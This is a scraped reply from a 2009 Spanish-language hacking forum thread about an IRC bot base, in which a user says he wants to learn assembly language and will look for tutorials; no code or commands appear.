Al museo ;D
En línea

Jugando con Fósforoshacking con un tono diferente


.
porno
BlackZeroX (Astaroth)
Wiki

Desconectado Desconectado

Mensajes: 2.831


I'Love...!¡.


Ver Perfil WWW
Re: [SRC] Base bot irc
« Respuesta #6 en: 22 Junio 2009, 07:09 »

Aaa quiero aprender ASM hay tutoriales por hay en este foro... tendre q buscar xD se ve craneal la cosa esta... y me gusta¡! xD

Ducles Lunas.
En línea

Web Principal-->[ Blog(VB6) | Host File (Public & Private) | Scan Port | (New)MyInfraPC (Descubre mi Contraseña venefi. $) ]



The Dark Shadow is my passion.
El infierno es mi Hogar, mi novia es Lilith y el metal mi
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines